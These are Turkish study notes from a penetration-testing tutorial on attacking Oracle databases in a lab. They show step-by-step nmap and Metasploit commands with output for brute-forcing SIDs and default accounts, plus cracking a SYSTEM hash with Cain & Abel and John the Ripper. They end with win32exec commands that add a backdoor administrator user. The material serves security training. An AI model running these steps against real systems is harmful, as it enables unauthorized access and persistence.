## ÖN BİLGİ

Bu belge

• https://www.slideshare.net/slideshow/pentest-eitimi-uygulama-kitab-bolum-7/60118531

resmi adresindeki veya linkin kırık olması ihtimaline karşın alternatif olarak

 https://www.includekarabuk.com/kitaplik/indirmeDeposu/ Siber\_Guvenlik\_Teknik\_Makaleler/Teori/BaskalarinaAitMakaleler/Veritaban %C4%B1%20S%C4%B1zma%20Testleri.pdf

adresindeki makaleye çalışılarak elde edilen notlarımı kapsamaktadır. Bu çıkarılan notlar belgemde alıntılar ve/veya kişisel ilavelerim mevcuttur.

1)

Bu belgede hedef sistemdeki veritabanına sızarak sistemi ele geçirmeye giden yol şu dört aşamada gerçekleştirilmiştir:

- a. Öntanımlı SID değerine sahip Oracle veritabanlarnın tespit edilmesi
- b. Öntanımlı hesaplardan kapalı ve açık olanların tespit edilmesi
- c. Elde edilen öntanımlı hesapların parola özetlerinin kırılması
- d. Ele geçirilen veritabanı yönetici hesabı üzerinden işletim sisteminin ele geçirilmesi

(Page 2)

2)

SID Nedir?

SID, yani System Identifier sistemde çeşitli versiyonları birarada bulunan veritabanlarını birbirinden ayırt etmeye yarayan, bir nevi instance adını temsil eden değere SID denir.

http://serverfault.com/questions/49509/oracle-difference-between-sid-db-name-db-domain-global-database-name-service

(Benim Not)

3)

Nmap ile Öntanımlı SID Değerine Sahip Oracle Veritabanlarının Tespiti Nmap uygulamasının kendi içerisinde barınan oracle-sid-brute script'i ile hedef sistemdeki öntanımlı SID değerleri tespit edilecektir (Tabi hedef sistemde SID değerlerini öntanımlı halde bırakmışsa...)

> nmap --script=oracle-sid-brute 192.168.1.23 -p 1521

Output:

Starting Nmap 6.01 ( http://nmap.org ) at 2014-08-31 15:49 EEST Nmap scan report for 192.168.1.23 Host is up (0.00017s latency). PORT STATE SERVICE 1521/tcp open oracle | oracle-sid-brute: L ORACLE MAC Address: 00:0C:29:CC:F9:01 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds

Görüldüğü üzere hedef sistemde bulunan oracle'a ait veritabanlarından birisinin SID değerinin ORACLE olarak varsayılanda bırakıldığı, yani öntanımlı değerinin halen kullanılmakta olduğu tespit edilebilmiştir. Eğer bu veritanında bir de kullanıcılar ve parolaları öntanımlı değerlerinde bırakılmışsa veritabanı tamamen tehlikede demektir.

Bu yaptığımız işlemde Nmap aracı belirttiğimiz script'in içerisinde yer alan öntanımlı SID değerlerini sırayla hedef sistemde denemiştir ve tutanı sonuç olarak çıktıya yansıtmıştır. Fakat öntanımlı SID değerleri ülkeden ülkeye değişiklik göstermektedir. Bu yüzden taramaların daha gerçekçi olabilmesi için kendimize ait bir SID wordlist'imiz olmalıdır. Şimdi bir de SID wordlist'i ile hedef sistemdeki öntanımlı SID değerlerini tespit etmeye çalışalım.

> nmap --script=oracle-sid-brute --script-args=oraclesids=/root/Desktop/sid\_wordlist.txt 192.168.1.23 -p 1521

Output:

Nmap scan report for 192.168.1.23 Host is up (0.00027s latency). PORT STATE SERVICE 1521/tcp open oracle | oracle-sid-brute: L ORACLE MAC Address: 00:0C:29:CC:F9:01 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

Görüldüğü üzere yine öntanımlı SID değeri olan ORACLE'ın hedef sistemde olduğu gibi bırakıldığı tespit edilmiştir.

(Page 3-4)

4)

Metasploit ile Öntanımlı SID Değerine Sahip Oracle Veritabanlarının Tespiti

msf > use auxiliary/scanner/oracle/sid\_brute
msf auxiliary(sid\_brute) > show options

Output:

Module Options

Name	Current Setting
BRUTEFORCE_SPEED	5
RHOSTS	
RPORT	1521
SID	
SID_FILE	/opt/metasploti/msf3/data/wordlists/sid.txt
STOP_ON_SUCCESS	false
THREADS	1
VERBOSE	true

Görüldüğü üzere SID wordlist'i olarak metasploit kendindekini seçili halde sunmuştur. Bunu dilersek değiştirebilmekteyiz. Wordlist'i varsayılan ayarında bırakalım ve RHOSTS'a hedefimizin

IP'sini koyarak öntanımlı SID tespit taramasına başlayalım.

msf auxiliary(sid\_brute) > set RHOSTS 192.168.1.23
msf auxiliary(sid\_brute) > run

Output:

 msf auxiliary(sid\_brute) > run

 [\*] Checking 571 SIDs against 192.168.1.23:1521

 [+] 192.168.1.23:1521 Oracle - 'ORACLE' is valid

 [+] 192.168.1.23:1521 Oracle - 'CLREXTPROC' is valid

 [\*] Scanned 1 of 3 hosts (033% complete)

 [\*] Checking 571 SIDs against 192.168.1.24:1521

 [\*] Checking 571 SIDs against 192.168.1.24:1521

 [-] 192.168.1.24:1521 Oracle - unable to connect to a TNS listener

 [\*] Scanned 2 of 3 hosts (066% complete)

 [\*] Checking 571 SIDs against 192.168.1.25:1521

 [+] 192.168.1.25:1521 Oracle - 'PLSEXTPROC' is valid

 [\*] Scanned 3 of 3 hosts (100% complete)

 [\*] Auxiliary module execution completed

Görüldüğü üzere 3 tane öntanımlı SID değerinin hedef sistemde olduğu gibi bırakıldığı tespit edilebilmiştir.

(Page 4-5)

5)

Öntanımlı Hesaplar Halen Aktif mi Değil mi Tespiti

Oracle veritabanının SID'si tespit edildiğine göre sırada veritabanı kurulurken gelen öntanımlı kullanıcı hesaplarını tespit etmek vardır. Öntanımlı kullanıcı adları sürümden sürüme farklılık göstermekle beraber diyelim ki aşağıdaki wordlist'i kullanacağız.

BI	
PM	
SH	
K	
OE	
HR	
SCOTT	
MGMT_VIEW	
MDDATA	
SYSMAN	
MDSYS	
SI_INFORMTN_SCHEMA	
ORDPLUGINS	
ORDSYS	
OLAPSYS	
ANONYMOUS	
XDB	
CTXSYS	
EXFSYS	
WMSYS	
DBSNMP	
TSMSYS	
DMSYS	
DIP	
OUTLN	
SYSTEM	

Şimdi yukarıdaki kullanıcı adlarını hedef sisteme sırasıyla Nmap ile deneyeceğiz ve hangilerinin güvenlik gereği kullanıcı tarafından kitlendiğini çıktı olarak göreceğiz. Çıktıda yer almayan kullanıcı adları kitli değil anlamına geleceği için onlar bizim işimize yarayacaktır. Şimdi Nmap ile kitlenmiş öntanımlı hesapları bir görelim:

> nmap --script=oracle-brute --script-args=oracle-brute.sid=xporacle 192.168.1.25 -p 1521

Output:

Starting Nmap 6.01 ( http://nmap.org ) at 2014-08-31 21:26 EEST
Nmap scan report for 192.168.1.25
Host is up (0.00019s latency).
PORT STATE SERVICE
1521/tcp open oracle
oracle-brute:
Accounts
CTXSYS:CHANGE_ON_INSTALL - Account is locked
DIP:DIP - Account is locked
DMSYS:DMSYS - Account is locked
EXFSYS:EXFSYS - Account is locked
HR:HR - Account is locked
MDDATA:MDDATA - Account is locked
MDSYS:MDSYS - Account is locked
OLAPSYS:MANAGER - Account is locked
ORDPLUGINS:ORDPLUGINS - Account is locked
ORDSYS:ORDSYS - Account is locked
OUTLN:OUTLN - Account is locked
SH:SH - Account is locked
SYSTEM:WELCOME1 - Account is locked
WMSYS:WMSYS - Account is locked
XDB:CHANGE_ON_NSTALL - Account is locked
Statistics
Performed 695 guesses in 8 seconds, average tps: 86
MAC Address: 00:0C:29:C3:3B:62 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 13.00 seconds

Görüldüğü üzere "Account is locked" ibaresi ile kitli olan hesaplar belirtilmiştir. Wordlist'te geriye kalanlar ise sızma işlemi için müsait durumda olanlardır. Böylece hedef veritabanında halen aktif olan kullanıcı hesaplarını tespit etmiş oluruz. Daha spesifik belirtmek gerekirse, hedef veritabanında oturum açılabilecek hesapların "kullanıcı adlarını" tespit etmiş bulunmaktayız.

(Page 6-7)

6)

Elde Edilen Parola Özetlerinin Kırılması

Oracle kullanıcılarına ait parolalar sistemde plain text şeklinde tutulmamaktadır. Belirli algoritmalarla şifrelenmiş (hash'lenmiş) şekilde tutulmaktadırlar. Dolayısıyla esas parolayı elde edebilmek için Cain & Abel ya da John The Ripper gibi yazılımları kullanmamız gerekir.

Benim NOT: Kullanıcı adlarını tespit ettik, ama hash'leri nasıl tespit ettik de şimdi onları kırma işlemine başlayabiliyoruz? PDF bu konuda eksik kalmış.

Diyelim ki kullanıcı adı ve şifre şu olsun:

KULLANICI ADI	PAROLA HASH DEĞERİ
SYSTEM	2D594E86F93B17A1

Şimdi bu hash'i hem Cain & Abel ile hem de JTR ile kıralım.

a. Cain & Abel ile Hash Kırma // Denendi, ama şifre kırılamadı (!)

Cain & Abel başlatılır. Cracker sekmesine tıklanılır ve sol menüdeki Oracle Hashes(0) elemanına tıklanılır.

File View Configure T	ools Help							
😑 💩 😔 🎪 ﷺ 🕮 🖳   + 🎾   🔍 🥄 🖾 📟 🚾 📾 🖾 😂 🖉 🖉 ? │ 🛕								
🐍 Decoders 🙎 Network 🏟 Sniffer 🥑 Cracker 🔕 Traceroute 🛄 CCDU 💱 Wireless 🚯 Query								
Image VNC-3DES (0)         Usernam           Image VNC-3DES (0)         Usernam           Image VNC-3DES (0)         Image VNC-3DES (0)           Image VNC-3DES (0)         Image V	ne Uppercafe Pass.	Case sens. Pass. Uppercat	e Hash Case sens. Hash	Salt	Note			
CHAP Hashes (0)					>			
< > Ora	acle Hashes							
http://www.oxid.it					li.			

Ardından ekrana gelen boş tabloya sağ tıklanılır ve Add to List yapılır.

File View Con File View Con 会 蛇 歌 読 開 開 後 Decoders 愛 Network	figure Tools He	lp Be Be Maria	iceroute	a 🗔 🧐 🖉 🚺 💡	JIL JIL JIL JIL JIL JIL JIL JIL JIL JIL		
VNC-3DES (0) A	Username	Uppercase Pass.	Case sens. Pass.	Uppercase Hash	Case sens. Hash	Salt	Note
ngd MD5 Hashes (0)							
<sup>SHA</sup> SHA-1 Hashes (0)							
			Dictionary At	tack	>		
			Brute-Force /	ttack			
9 IKE-PSK Hashes (C			Didic Forces	400 CK			
MSSQL Hashes (0)			Cryptanalysis	Attack via Kainbow lables	>		
MySQL Hashes (0			Select All				
Oracle Hashes (0)			Note				
Oracle INS Hashe			Note				
SIP Hashes (0)			Test passwore	ł			
- 'g' 802.11 Captures (C			Add as Dis		Incode		
WPA-PSK Hashes			Add to list		insert		
B WPA-PSK Auth (U			Remove		Delete		
	<		Remove All				>
< >	🚯 Oracle Hashe	es					
http://www.oxid.it							

Daha sonra username olarak SYSTEM, şifre olarak da 2D594E86F93B17A1 girilir.

■ <b>Taín</b>	una Taala Ilah						
	jure Tools Help	 _ [					
AUTH RESET NTLH	₽ <b>  +</b> ₩	64 2					
😤 Decoders 🔮 Network	📸 Sniffer 🥑	Cracker 🔯 Tr	aceroute 🔝 CC	DU 🐒 Wireless 🚯 Q	uery		
	Username	Uppercase Pass.	Case sens. Pass.	Uppercase Hash	Case sens. Hash	Salt	Note
<sup>mgd</sup> MD2 Hashes (0)							
<sup>md</sup> MD4 Hashes (0)		Add Orac	le Hashes		×		
MD5 Hashes (0)		C .					
SHA-1 Hashes (0)			rt the hash manually	11			
SHA-2 Hashes (0)		Userna	me	Hash			
mine RIPEMD-160 Hash		SYST	EM	2D594E86F93B17	7A1		
Kerb5 PreAuth Ha		C.D.					
Radius Shared-Ke			np hashes from a data	abase server via UDBL			
B MCCOL HILL (			Hequires admin	istrative credentials of the data	Dase		
MSSQL Hashes (0			and Or	acle ODBC Client installed			
Crasle Hashes (0)				OK	Canad		
					Cancer		
SIP Hashes (0)							
(a) 802.11 Captures ((							
WPA-PSK Hashes							
WPA-PSK Auth (0							
CHAP Hashes (0)	r						
× 1		· · · · · · · · · · · · · · · · · · ·					
< > E	Uracle Hashes						
http://www.oxid.it							1.

OK diyerek boş tabloya kırılacak bu şifre eklenir. Ardından eklenen satıra sağ tıklanılır ve Dictionary Attack -> MixCase Hashes sekmesine tıklanılır.

File View Con	figure Tools He	łp					[		Efendim	НТТР
🛛 🛥 🕹 👶 🎎 🔡	🛿 📮 🛛 🕇 🕲	😼 📴 🖏		a 🗖 🥸 💆 🌘	1 ° 6				Okbal Gurp	Headers f
💰 Decoders 🔮 Network	k 🏟 Sniffer 🥑	Cracker 🔯 Tra	aceroute 🔝 CC	DU 🐒 Wireless	Duery					
VNC-3DES (0) 🔨	Username	Uppercase Pass.	Case sens. Pass.	Uppercase Hash	Case sens. Hash	Salt		Note	Remellinux	ISIMTESCIL
MD2 Hashes (0)	X SYSTEM			2D594E86F93B17A1	Distingen Attack			LIDDEDC	ACT Linghos	
MD4 Hashes (0)					Dictionary Attack			UPPERC	ASE Hasnes	
MD5 Hashes (0)					Brute-Force Attack		>	MixCase	Hashes	
SHA-1 Hashes (0)					Cryptanalysis Attack	k via RainbowTables	>			
B DIDENAD 160 LIVE					Select All				-	jully.docx
160 KIPEIVID-100 Hash					Nete					
Rendo PreAuth Ha					INOTE					
G IKE-DSK Hacher (					Test password					
B MSSOL Hashes (0					Addas Est		l	-		-
D MySOL Hashes (0					Add to list		insert			Komutlari txt
Oracle Hashes (1					Remove		Delete			Komutaniku
Oracle TNS Hashe					Remove All					_
SIP Hashes (0)										
										Not Körem
										Not Kogem
WPA-PSK Auth (0										
CHAP Hashes (0)	<								>	
×	Concele Hash								-	
< >>	ug oracle hash	-								WebScarab
http://www.oxid.it									1	

Sözlük eklemek için açılan ekrandaki üst tabloya sağ tıklanılır ve Add to List denir.

	Dictionary Attack	×	
File View Configure T	Dictionary		
🔄 🏟 🕹 🕅 🎆 🎆 📮	File	Position	
🚴 Decoders 🔮 Network 📦 Sn		Add to list Insert	
VNC-3DES (0) ^ Usernam		Change initial file position	Note
MD2 Hashes (0) X SYSTE		Prost initial file and iter	
	Key Rate	Reset Initial file position	
		Reset all initial file positions	
		Remove from list	
	Dictionary Position	Remove normalise	
		Remove All	
🐼 Kerb5 PreAuth Ha		Uppercase (Password · PASSWORD)	
	Current and and	Num. sub. perms (Pass,P4ss,Pa5s,P45sP455)	
IKE-PSK Hashes (C	Callent password	Case perms (Pass,pAss,paSs,PaSsPASS)	
MSSQL Hashes (0		Iv Two numbers Hybrid Brute (Pass0Pass99)	
MySQL Hashes (0			
Oracle Hashes (1	1 hashes of type Oracle (MixCase	) loaded	
Oracle TNS Hashe	Press the Start button to begin	dictionary attack	
SIP Hashes (0)			
WPA-PSK Hashes			
WPA-PSK Auth (0			
CHAP Hashes (0)			
Y IB a			
< > Ora			
http://www.oxid.it		Start Exit	li.

Daha sonra hazıralanan wordlist dosyası seçilir ve OK denir.

≖ <b>Laín</b> File View Configure T	Dictionary Attack	Open	X
🔄 🏟 🚱 NTLM SPOOF SPOOF	File	$\leftarrow$ $\rightarrow$ $\checkmark$ $\bigstar$ Inis PC $\rightarrow$ Desktop $\rightarrow$	<ul> <li>マ O Search Desktop</li> </ul>
虑 Decoders 🔮 Network 🏟 Sni		Organize 👻 New folder	<b>■</b> • <b>■</b> ?
MD2 Hashes (0)		A Quick access	
md MD4 Hashes (0)	Key Bate	📃 Desktop 💉 🔼	
mg MD5 Hashes (0)		🕹 Downloads 🖈 🧧 🧲	
SHA SHA-1 Hashes (0)	- Diotionary Roa	🛱 Documents 🖈 🔳	
SHA-2 Hashes (0)	Dictionaly ros	2016-2017akade Fen Bilimleri	HTTP Headers oracle wordlist.tx
160 RIPEMD-160 Hash		miktakvim.pdf Enstitüsü	for Dummies - t
Kerbb PreAuth Ha		Inceleniyor Olan	Tuts+ Code
Kadius Shared-Ke	Current passw	📙 Raporun Son Ha	lutorial
B MSSOL Hashes (0		Sertifikalar	
MvSQL Hashes (0		Tekrarlanivor Ola	
Oracle Hashes (1	1 hashes		
Oracle TNS Hashe	Press th	ConeDrive	
- 🔏 SIP Hashes (0)		This point of the Transl CMD	
- 6 802.11 Captures ((		Komutlari.txt	~
- WPA-PSK Hashes			
WPA-PSK Auth (0		File name: oracle_wordlist.txt	✓ Text (*.txt) ✓
CHAP Hashes (0)			Open Cancel >
🖌 🖒 Ora	1		Cancer
http://www.oxid.it		Sta	t Exit //

Yukarıda görüldüğü üzere oracle\_wordlist.txt dosyası seçilmiştir.

	Dictionary Attack	>	
File View Configure T	Dictionary		
	File C:\Users\Hasan\Desktop\oracle_wordlist.txt	Position	
👶 Decoders 🔮 Network 🟟 Sn			
Image: WNC-3DES (0)         ▲           Image: WD2 Hashes (0)         Image: WD2 Hashes (0)           Image: WD2 Hashes (0)         Image: WD2 Hashes (0)	Key Rate	ptions	Note
MD5 Hashes (0) SHA SHA-1 Hashes (0) SHA-2 Hashes (0) SHA-2 Hashes (0) SHPEMD-160 Hash	Dictionary Position	As Is (Password) Reverse (PASSWORD - DROWSSAP) Double (Pass - PassPass) Lowercase (PASSW/0RD - password)	
Kerb5 PreAuth Ha     Kadius Shared-Ke     Gi IKE-PSK Hashes (C     MSSOL Hashes (C)	Current password	Uppercase (Password - PASSWORD) Num. sub. perms (Pass.P4ss,Pa5sP45sP45s) Case perms (Pass.pAss.paSsPaSsPASS) Two numbers Hybrid Brute (Pass0Pass99)	
MySQL Hashes (0    Oracle Hashes (1     Oracle TNS Hashe	1 hashes of type Oracle (MixCase) lo. Press the Start button to begin dict:	aded ionary attack	
<			>
http://www.oxid.it		Start Exit	] //.

Şimdi yukarıda gözüken ekrandaki START butonuna basılarak sözlük saldırısı başlatılır. Şifre kırıldığında wordlist'in gösterildiği satıra tick konackatır.

sden 9 Network 🖬 Sothe	Crocker 🔯 Traceroute	CCDU "8" Wireless	() Query				
WL Hes (II) Saco ICS-MD5 Hashes (II)	<ul> <li>Username Upp</li> <li>W Cristian</li> </ul>	ercane Pass.   Cane sero. Pass.	Oppercase Hash	Case sent. Math	Set	Täote	
Dece PDI-MD5 Hacker (0) (PDF-MD5 Hacker (0)	Deterary Attack		Terroritor present	and the	1		
RAAA MOS Hanhas (0)	Datapas						
SPF-MDS Hartes (0)	710	2	Posten				
RRP HMAC Herbes (D)	C Program Florid	wittender/Wedlettel	1910681				
NC-3DES (0)							
(D) Hashes (D)							
AD4 Hastes (D)							
AES-MailMes (3)	- Kee Tale		Options				
VAL-2 Hacture (D)		L'Ach Parmet					
(PDAC-188 Hashes III)	Distance Poston		P Revena (PASSVDPD	DIROWSSAPS			
arb5 PreAuth Hashes (0)	A Contraction		Poule Fair Paire	6			
lation Shared-Key Hindnes (0)	<u>1</u>		F three are Fairment	PASSWORD			
(C-PSK Hashes (D)	1 martine and		P Nas nat percellars	No.Pub., P45, P491			
A-SCI Harber (II)	Creat betweet		Case petra (Fran phas	ants, Pata, PASS			
Iracle Hasher (2)	1		<ul> <li>Two mandhers Piljderd Br</li> </ul>	a Parti Partil			
Inacle TMS Hathes (E)	The second second		_				
IF Heches (1)	attack stoppe	1001 STATEN 16 CRECTS					
02.11 Ceptures (8)	1 of 1 hashes	cracked					
The Par Hatter (1)							
HalP Hashes (D)					-		
	1						
m trid it							

Yukarıdaki pencerenin alt tarafında yer alan textarea'da ise kırılan şifre gösterilecektir:

Plaintext of user SYSTEM is **ORACLE** 

Böylece şifrenin ORACLE olduğunu tespit etmiş olacağız.

b. John The Ripper ile Hash Kırma

Oracle 11 öncesi hash'ler için;

> john --format=oracle --wordlist=/root/Desktop/rockyou.txt hash.txt

Oracle 11 ve sonrası hash'ler için;

> john --format=oracle11 --wordlist=/root/Desktop/rockyou.txt hash.txt

Çıktı şöyle olacaktır:

Loaded 1 password hash (Oracle 10 DES [32/64]) Remaining 1 password hash **ORACLE** (?) guesses: 1 time: 0:00:00:00 DONE (Thu Sep 4 18:05:51 2014) c/s:638850

Görüldüğü üzere şifrenin ORACLE olduğu tespit edilebilmiştir.

(Page 8-10)

## 7)

Ele Geçirilen Veritabanı Hesabı Üzerinden İşletim Sistemini Ele Geçirme Oracle veritabanında bulunan kullanıcıların dolaylı yoldan işletim sistemi üzerinde komut çalıştırma yetkileri vardır. Şimdi şifresini kırdığımız kullanıcının hesabını kullanarak metasploit'in win32exec auxiliary'si ile hedef sistem üzerinde CMD komutu çalıştıralım.

msf > use auxiliary/admin/oracle/post\_exploitation/win32exec msf auxiliary(win32exec) > show options

Module Options

Name	Current	Required	Description
CMD	ipconfig	no	The OS command to execute
DBPASS	ORACLE	yes	The password
DBUSER	SYSTEM	yes	The username
RHOST	192.168.1.23	yes	The Oracle Host
RPORT	1521	yes	The DB Port
SID	ORACLE	yes	The SID of DB

Hedef veritabanının barındığı işletim sisteminde bir backdoor oluşturmak için yeni bir kullanıcı ekleyelim. Bunun için modülün CMD parametresine aşağıdaki girilir:

msf auxiliary(win32exec) > set CMD "net user bga bga /add"
msf auxiliary(win32exec) > run

Böylece hedef veritabanı üzerinden hedef işletim sisteminde bga username'li ve bga şifreli bir kullanıcı oluşturmuş olduk. Bu eklediğimiz kullanıcıyı Windows sistemlerinin en yetkili kullanıcı grubuna eklemek için aşağıdaki CMD komutu CMD parametresine set edilmelidir.

msf auxiliary(win32exec) > set CMD "localgroup administrators bga /add"
msf auxiliary(win32exec) > run

Böylece Oracle veritabanının açığından faydalanarak hedef işletim sistemini ele geçirmiş olduk.

Buraya kadar ki işlemleri özetleyecek olursak önce hedef veritabanın SID değerini wordlist ile tespit ettik. Ardından hedef veritabanında öntanımlı username'lerin hangilerinin kitli olmadığını, yani hangisinin aktif olduğunu yine bir wordlist ile tespit ettik. Daha sonra tespit ettiğimiz öntanımlı hesaplardan birinin parola özetini kırdık ve şifresini plain text formatında elde ettik. En sonunda ise metasploit'teki bir modülün parametrelerine elde ettiğimiz **SID** değerini, **username**'i, **password**'ü, IP'yi, Port numarasını ve çalıştırmak istediğimiz sistem komutunu girerek hedef işletim sistemini ele geçimiş olduk.

(Page 11-13)